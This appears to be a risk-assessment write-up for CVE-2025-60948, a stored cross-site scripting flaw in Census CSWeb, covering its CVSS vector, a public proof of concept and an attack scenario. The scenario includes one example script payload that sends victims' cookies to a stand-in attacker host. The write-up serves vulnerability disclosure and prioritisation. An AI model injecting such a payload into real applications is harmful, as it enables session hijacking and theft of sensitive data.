Csweb CVE-2025-60948

Multiple risk signals converge to indicate moderate but actionable real-world risk. The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N) reflects: network-based attack surface (AV:N), low attack complexity (AC:L), requirement for prior authentication (PR:L), and user interaction needed (UI:R), with limited impact—only confidentiality and integrity of user data affected, no availability impact (A:N). The 4.6 CVSS score undersells risk in two ways: first, stored XSS can affect multiple victims through a single malicious input, and second, authenticated users may have elevated privileges or access to sensitive data. The existence of publicly available proof-of-concept code on GitHub (hx381/cspro-exploits repository) significantly increases exploitation probability and suggests active research or weaponization. CISA's inclusion of this CVE in their coordination list (cisa-cg tag, reference to CSAF advisory va-26-082-01.json) indicates government awareness and likely organizational attention. The vulnerability is automatable (stored payload executes automatically on page load for subsequent users) and moderately impactful for confidentiality/integrity. Exploitation requires authentication and victim interaction (visiting a page with the payload), which reduces opportunistic mass exploitation but enables targeted campaigns within organizations. This is a genuine priority for Census CSWeb users, particularly those in government or statistical agencies handling sensitive data, but lower urgency than unauthenticated remote code execution vulnerabilities.

An authenticated internal user with legitimate access to Census CSWeb submits a survey response containing malicious JavaScript payload (e.g., <script>fetch('http://attacker.com/steal?cookie=' + document.cookie)</script>) in a text field. The application stores this payload in the database without sanitization. When other authenticated users (such as survey administrators or analysts) view the stored data or generate reports containing that field, the JavaScript executes in their browser context with their session credentials, allowing the attacker to steal authentication tokens, exfiltrate sensitive survey data, or perform actions on behalf of the victim user. A public proof-of-concept exploit is available on GitHub, reducing the barrier to exploitation for threat actors with organizational access or insider knowledge.